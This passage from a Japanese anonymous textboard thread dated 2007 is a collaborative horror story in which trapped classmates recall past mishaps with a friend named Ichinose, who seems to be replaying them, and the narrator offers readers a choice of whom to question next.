六条「一ノ瀬とキャッチボールしてて・・・俺、肩を外して・・・うずくまってたら、アイツが来て、腕や足をボキボキ・・・」

162 :名無しって呼んでいいか?:2007/10/09(火) 19:45:01 ID:???
四谷「う、うわぁぁぁぁ、オレは嫌だ!な、何でこんな目に合わなきゃいけないんだよ!オレたちが一ノ瀬に何したっていうんだよぉ!」

163 :名無しって呼んでいいか?:2007/10/09(火) 19:52:22 ID:???
二階堂「それ、昔実際にあったことだよな?」 五島「そういえば水道も、ああいう壊れ方したことあったような」

164 :名無しって呼んでいいか?:2007/10/09(火) 19:53:42 ID:???
そうだ。喉の渇いた一ノ瀬君が力任せにひねった蛇口が壊れて、私たちは皆ずぶぬれになった・・・

165 :名無しって呼んでいいか?:2007/10/09(火) 20:12:36 ID:???
五島「辿っているのか?一ノ瀬は・・・。」三剣君がこくんとうなずいた。

166 :名無しって呼んでいいか?:2007/10/09(火) 20:38:27 ID:???
私・・・私も辿った。二階堂君に呼ばれなければ、鉄の球であのあとどうなっていたんだろう。背筋が凍るような寒気がした。

167 :名無しって呼んでいいか?:2007/10/09(火) 20:55:28 ID:???
五島「名無ちゃん寒いの?これ僕のショール。かけておいて。」

168 :名無しって呼んでいいか?:2007/10/09(火) 21:03:14 ID:???
四谷「五島!俺も寒いんだけどなんかちょうだい」 五島「キミは六条君と暗幕にでもくるまっていればいいよ」

169 :名無しって呼んでいいか?:2007/10/09(火) 21:05:01 ID:???
三剣「四谷、お前の便所の件だけが腑に落ちない。何か隠していることがあるだろう」

170 :名無しって呼んでいいか?:2007/10/09(火) 21:44:18 ID:???
四谷が蒼白になる。「・・・一ノ瀬と大喧嘩して・・・あいつのユニフォームとグラブ、便所に突っ込んだ・・・あいつ、泣きながら怒って・・・仲直りしないまま中学で別れちまった」

171 :名無しって呼んでいいか?:2007/10/09(火) 21:56:48 ID:???
四谷「あいつ俺を恨んでるんだ!俺を殺しに来たんだよ!!」

172 :名無しって呼んでいいか?:2007/10/09(火) 23:23:02 ID:???
八坂「ちょっと待てよ、一ノ瀬がそんなことで怨んだりするかよ」九衛「ほんならこりゃどういうこっちゃ?」

173 :名無しって呼んでいいか?:2007/10/10(水) 12:39:42 ID:???
私「…何が起きてるのか分からないけど、これは一ノ瀬くんからのメッセージなんだと思う」私が言うと、皆が息をのんで黙り込む。

174 :名無しって呼んでいいか?:2007/10/10(水) 19:41:57 ID:???
三剣「とにかく、ここで立ち話もなんだし教室に入る?」相変わらず飄々とした様子で三剣君が言った。

175 :名無しって呼んでいいか?:2007/10/11(木) 00:05:54 ID:???
私たちは教室の中へ戻り席に着く。六条君だけがダメージを受けた体がまだ痛いのか、暗幕に包まったまま横になった。

176 :名無しって呼んでいいか?:2007/10/11(木) 00:43:02 ID:???
二階堂「…なあ、もう帰ろうぜ。一ノ瀬のことは気になるけど、普通の状態じゃねえよ、これ」

177 :名無しって呼んでいいか?:2007/10/11(木) 01:13:59 ID:???
九衛「せやかて、どっからも出られへんからしゃあないやろ」

178 :名無しって呼んでいいか?:2007/10/11(木) 15:11:12 ID:???
皆が口々に不安をこぼす。皆、何か心当たりがあるんだろうか?話を聞いてみよう。

1、八坂と九衛
2、四谷と三剣
3、二階堂と五島

179 :名無しって呼んでいいか?:2007/10/11(木) 21:29:48 ID:???
1 八坂君と九衛君か・・・この二人昔っから仲良かったよね

180 :名無しって呼んでいいか?:2007/10/11(木) 23:42:04 ID:???
八坂「一ノ瀬の思い出?この三人で集まるとイタズラばっかじゃねえ?」 九衛「校長先生の像を一日5センチずつずらして、南門まで運んだり」

181 :名無しって呼んでいいか?:2007/10/11(木) 23:46:47 ID:???
八坂「俺と一ノ瀬は逃げ切れるけど、九衛はよく捕まって泣いてた」 九衛「俺がヘタレみたいにいわんといてくれる。お前らが早すぎやねん」

182 :名無しって呼んでいいか?:2007/10/12(金) 01:42:20 ID:???
よくわからないので、二階堂と五島にも聞いておこう。

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